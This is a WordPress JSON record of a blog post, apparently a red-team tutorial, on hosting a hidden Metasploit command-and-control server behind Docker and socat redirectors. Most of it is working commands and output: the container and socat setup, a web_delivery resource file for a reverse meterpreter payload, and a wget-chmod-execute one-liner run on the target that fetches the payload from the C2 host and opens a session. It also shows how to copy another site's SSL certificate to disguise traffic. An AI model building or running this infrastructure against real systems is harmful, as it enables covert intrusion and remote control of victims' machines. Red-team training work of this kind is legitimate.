{"id":8560,"date":"2020-02-17T12:56:10","date_gmt":"2020-02-17T10:56:10","guid":{"rendered":"http:\/\/tajdini.net\/blog\/?p=8560"},"modified":"2020-12-20T11:17:55","modified_gmt":"2020-12-20T09:17:55","slug":"hosting-and-hiding-your-c2-with-docker-and-socat","status":"publish","type":"post","link":"https:\/\/tajdini.net\/blog\/cisco-and-networking\/hosting-and-hiding-your-c2-with-docker-and-socat\/","title":{"rendered":"Hosting and hiding your C2 with Docker and Socat"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\" id=\"abstract\">Abstract<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">We want to run a simple C2 that is not exposed to the internet, with multiple socats redirecting our <strong>payload delivery<\/strong> and <strong>session handling<\/strong> correctly. All this with the help of Docker.<br>\nIt\u2019s straightforward once you\u2019ve gotten the grip.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Why<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Using containers means we get the \u201cit always works\u201d factor, compared \nto manual installs. Since each Docker image is already built, we can \njust pull it and have everything working out of the box.<br>\nDocker greatly facilitates abstraction of networking and volumes, and makes for easy repeatable deployments.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To quote a seasoned professional:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>How<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We\u2019re ideally running our Docker host on a VPS, that we can ssh into. A simple <a href=\"https:\/\/docs.docker.com\/install\/linux\/docker-ce\/ubuntu\/#install-using-the-convenience-script\">Ubuntu + Docker CE<\/a> will suffice. There are some free or very cheap options out there.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We wish to keep our C2 container in a segmented Docker network, <strong>isolated<\/strong> from the outside. Two socat routes to it are needed.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"\"><thead><tr><th>Route<\/th><th>Outside port<\/th><th>C2 port<\/th><\/tr><\/thead><tbody><tr><td>Payload delivery<\/td><td>443<\/td><td>8080<\/td><\/tr><tr><td>Session handling<\/td><td>80<\/td><td>4444<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">For our C2, we\u2019re going to use Metasploit with the reverse_http meterpreter.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u2b50 <strong>These instructions also work with the <code>meterpreter_reverse_https<\/code> and <code>meterpreter_reverse_tcp<\/code> payloads as is.<\/strong><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We\u2019re using the http variant so as to see all the traffic in \ncleartext at each step for live fiddling. Prefer encrypted channels when\n performing exercises.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In our case, the payload is served on port 443, but using http. You can add an SSL certificate, explained later in this article.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"setup-\">Setup \ud83d\udd27<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"docker\">Docker<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">This post won\u2019t introduce Docker as there are plenty of excellent \nwrite-ups. For this post, you need to have a grasp on Docker networks \nand volumes.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Try running the <code>hello-world<\/code> container to check:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker run hello-world # Hello from docker\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Let\u2019s create our isolated network first:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker network create c2-net\n<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"socat\">Socat<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">We\u2019re now going to create two different socat containers, one for each route.<br>\nWe\u2019re going to launch our two socat containers as daemons.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Socat will natively resolve the <code>msf<\/code> container hostname since they will all be in the internal <em>c2-net<\/em> network.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd39 The first one, redirecting port 443 to our Metasploit web_delivery server on port 8080:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker run --rm -d -p 443:443 --network=c2-net --name socat_delivery alpine\/socat -v TCP4-LISTEN:443,fork TCP4:msf:8080\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd39 The second one for our meterpreter session, from port 80 to the Metasploit handler on port 4444:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker run --rm -d -p 80:80 --network=c2-net --name socat_handler alpine\/socat -v TCP4-LISTEN:80,fork TCP4:msf:4444\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The containers are now running in the background. I\u2019ve launched them with the optional verbose argument for easier fiddling.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">To view the logs, you can either:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Run <code>docker logs CONTAINER<\/code> where container could be <code>socat_delivery<\/code><\/li><li>Instead of starting the container as a daemon with <code>-d<\/code>, replace the option with <code>-it<\/code> to receive output in the foreground. You\u2019ll need new separate terminals to run both socats.<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Edit: If you\u2019re discovering docker, you\u2019ll soon understand we \ncould have replaced socat with docker port-publishing. In this post \nwe\u2019re deliberatly using socat to experiment with proxifying, micro \nservices, and session handling with Metasploit. If you need a quick \nMetasploit container directly connected to the internet, use <code>-p\/--publish<\/code> with the corresponding ports.<\/em><\/p>\n\n\n\n<h3 class=\"wp-block-heading\" id=\"metasploit\">Metasploit<\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">In this post, I\u2019ll be running the meterpeter_reverse_http on a Linux x64 target.<br>\nIf you wish to target something else (Windows, OSX), use <code>show targets<\/code> and <code>show payloads<\/code> and set the <code>TARGET<\/code> and <code>PAYLOAD<\/code> options accordingly.<br>\nYou may also start <code>.\/msfconsole<\/code> without any resource file and configure it manually.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ mkdir socat-msf\n$ cd socat-msf\n$ nano docker_delivery.rc\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Here\n are the options to set for Metasploit. You can edit and copy them \ndirectly to a resource file that we\u2019ll mount to the Metasploit \ncontainer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Copy the following in the file, replacing YOUR-C2-EXT-IP. Save and exit.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>use exploit\/multi\/script\/web_delivery\nshow targets\nset target 6\nshow payloads\nset payload linux\/x64\/meterpreter_reverse_http\nset URIPATH delivery\nset LURI handler\nset LPORT 80\nset LHOST YOUR-C2-EXT-IP \nset ReverseListenerBindPort 4444\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd39 And now launch the Metasploit container:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker run --rm -it -v `pwd`\/docker_delivery.rc:\/opt\/metasploit-framework\/docker_delivery.rc --network=c2-net --name msf phocean\/msf  \n\n * Starting PostgreSQL 10 database server                                                                 [ OK ] \n\n$ .\/msfconsole -r docker_delivery.rc\n\n*** snip ***\n\n# Check that everything looks okay\nmsf > show options\nmsf > show advanced\n\n# Hold the trigger a bit longer in case you wish to make last second changes\nmsf > run\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"running-the-delivery-chain-\">Running the delivery chain \ud83d\udca5<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Once everything looks okay, launch the web_delivery script with <code>run<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Metasploit will output a useful command to run directly on your target to fetch and execute the meterpreter payload.<br>\nMetasploit will output a bind error, and bind directly on 0.0.0.0. It\u2019s okay, the container environment just confused it a bit.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf exploit(multi\/script\/web_delivery) > run\n[*] Exploit running as background job 0.\n\n[-] Handler failed to bind to YOUR-C2-EXTERNAL-IP:4444\n[*] Started HTTP reverse handler on http:\/\/0.0.0.0:4444\/handler\n[*] Using URL: http:\/\/0.0.0.0:8080\/delivery\n[*] Local IP: http:\/\/172.17.0.2:8080\/delivery\n[*] Server started.\n[*] Run the following command on the target machine:\nwget -qO 0976ysRZ --no-check-certificate http:\/\/YOUR-C2-EXTERNAL-IP:8080\/delivery; chmod +x 0976ysRZ; .\/0976ysRZ&amp;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>We\u2019re going to change that final command to run on the target with the correct options.<\/strong> In this scenario, we launched a simple reverse_http served on port 443 (and not served by https).<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udd39 On the target machine:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>$  wget -qO 0976ysRZ --no-check-certificate http:\/\/YOUR-C2-EXT-IP:443\/delivery; chmod +x 0976ysRZ; .\/0976ysRZ&amp;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And here is the output from the Metasploit container:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf exploit(multi\/script\/web_delivery) >\n[*] 172.23.0.3       web_delivery - Delivering Payload (1046512) bytes\n[*] http:\/\/YOUR-C2-EXT-IP:4444\/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Redirecting stageless connection from \/handler\/rxKWQMcwr4jPs8mxkfOKIAYcPDcHXJlb3SZUA-IFGJfmx with UA 'Mozilla\/5.0 (Windows NT 6.1; Trident\/7.0; rv:11.0) like Gecko'\n[*] http:\/\/YOUR-C2-EXT-IP:4444\/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Redirecting stageless connection from \/handler\/rxKWQMcwr4jPs8mxkfOKIAeeYSq5uKlqfZ with UA 'Mozilla\/5.0 (Windows NT 6.1; Trident\/7.0; rv:11.0) like Gecko'\n[*] http:\/\/YOUR-C2-EXT-IP:4444\/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Redirecting stageless connection from \/handler\/rxKWQMcwr4jPs8mxkfOKIAk8emJzI2nJw4b with UA 'Mozilla\/5.0 (Windows NT 6.1; Trident\/7.0; rv:11.0) like Gecko'\n[*] http:\/\/YOUR-C2-EXT-IP:4444\/handler handling request from 172.23.0.4; (UUID: kbsvqwg9) Attaching orphaned\/stageless session...\n\nmsf exploit(multi\/script\/web_delivery) > sessions\n\nActive sessions\n===============\n\n  Id  Name  Type                   Information  Connection\n  --  ----  ----                   -----------  ----------\n  1         meterpreter x64\/linux               127.0.0.1 -> 172.23.0.4:54876 (172.23.0.4)\n\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"delivering-and-communicating-with-https-\">Delivering and communicating with https \ud83d\udd12<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To add https, no further socat configuration is required, since we chose port 443 for delivery earlier.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The SSL certificate can be used:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>When delivering the payload<\/li><li>When communicating with the payload<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">To use an SSL certificate, you can either:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Let Metasploit generate a certificate<\/li><li>Impersonate an existing certificate<\/li><li>Import a certificate<\/li><\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">To let Metasploit generate the certificate, run the resource script. Before firing the web_delivery script, add:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf exploit(multi\/script\/web_delivery) > set SSL true\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">And run.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">On the target simply use <code>https:\/\/YOUR-C2-EXT-IP\/delivery<\/code> as the wget URL instead of the generated one.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you want to impersonate a certificate, use the dedicated auxiliary module:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf > use auxiliary\/gather\/impersonate_ssl\nmsf auxiliary(impersonate_ssl) > set RHOST www.google.com\nRHOST => www.google.com\nmsf auxiliary(impersonate_ssl) > run\n\n[*] Connecting to www.google.com:443\n[*] Copying certificate from www.google.com:443\n\/C=US\/ST=California\/L=Mountain View\/O=Google Inc\/CN=google.com \n[*] Beginning export of certificate files\n[*] Creating looted key\/crt\/pem files for www.google.com:443\n[+] key: \/opt\/metasploit-framework\/loot\/20150611074516_default_24.41.214.170_www.google.com_k_189227.key\n[+] crt: \/opt\/metasploit-framework\/loot\/20150611074516_default_24.41.214.170_www.google.com_c_767214.crt\n[+] pem: \/opt\/metasploit-framework\/loot\/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem\n[*] Auxiliary module execution completed\nmsf auxiliary(impersonate_ssl) > \n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">(<a href=\"https:\/\/www.darkoperator.com\/blog\/2015\/6\/14\/tip-meterpreter-ssl-certificate-validation\">source<\/a>)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you wish to import a certificate from the Docker host, make sure \nyou mounted the required files to the Metasploit container using an \nadditional <code>-v<\/code> argument, like we did with the <code>docker_delivery.rc<\/code> file.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you want your payload <em>served<\/em> using a custom SSL cert:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf exploit(multi\/script\/web_delivery) > set SSLCert \/path\/to\/pem\nmsf exploit(multi\/script\/web_delivery) > set SSL true\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">If you want the payload to verify your custom SSL cert with the handler:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>msf exploit(multi\/script\/web_delivery) > set HandlerSSLCert \/path\/to\/pem\nmsf exploit(multi\/script\/web_delivery) > set stagerverifysslcert true\n<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"notes\">Notes<\/h2>\n\n\n\n<ul class=\"wp-block-list\"><li>If you quit out of the containers using CTRL+C and did not use the <code>--rm<\/code> option, you\u2019ll have to remove the stopped containers to run them again with:<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker rm -f msf\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>If you need to manually remove a container from a network:<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>docker network disconnect -f c2-net socat_handler\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>You can use a small container as a target. Run the following to get a quick shell to a new container to execute the payload:<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker run -it alpine sh\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>The Metasploit container is by <a href=\"https:\/\/hub.docker.com\/r\/phocean\/msf\/\">phocean<\/a> and includes an initialised PostgresDB. You can check that it is running correctly with:<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>msf > db_status\n[*] postgresql connected to msfdb\n<\/code><\/pre>\n\n\n\n<ul class=\"wp-block-list\"><li>You can add already existing containers to a new network using:<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code>$ docker network connect c2-net new-msf\n<\/code><\/pre>\n\n\n\n<hr class=\"wp-block-separator\"\/>\n\n\n\n<p class=\"wp-block-paragraph\">\ud83d\udcad <em>I\u2019ll hopefully be posting more on docker-based red team  infrastructure, as there are still plenty of things to talk about. Also,  if you spot a mistake, feel free to let me know.<\/em><br> <em>Follow me on <a href=\"https:\/\/twitter.com\/mahyarx\">Twitter<\/a> if you wish to stay updated!<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Abstract We want to run a simple C2 that is not exposed to the internet, with multiple socats redirecting our payload delivery and session handling correctly. [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":8564,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[221,222,228,229],"tags":[241,247,4,5,257,259,268,6,90],"class_list":["post-8560","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cisco-and-networking","category-cloud-and-devsecops","category-malware-and-threat-analysis","category-network-and-protocol-security","tag-cloud-security","tag-docker","tag-linux","tag-malware","tag-network-security","tag-routing","tag-ubuntu","tag-cisco"],"_links":{"self":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8560","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/comments?post=8560"}],"version-history":[{"count":2,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8560\/revisions"}],"predecessor-version":[{"id":8562,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/posts\/8560\/revisions\/8562"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media\/8564"}],"wp:attachment":[{"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/media?parent=8560"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/categories?post=8560"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tajdini.net\/blog\/wp-json\/wp\/v2\/tags?post=8560"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}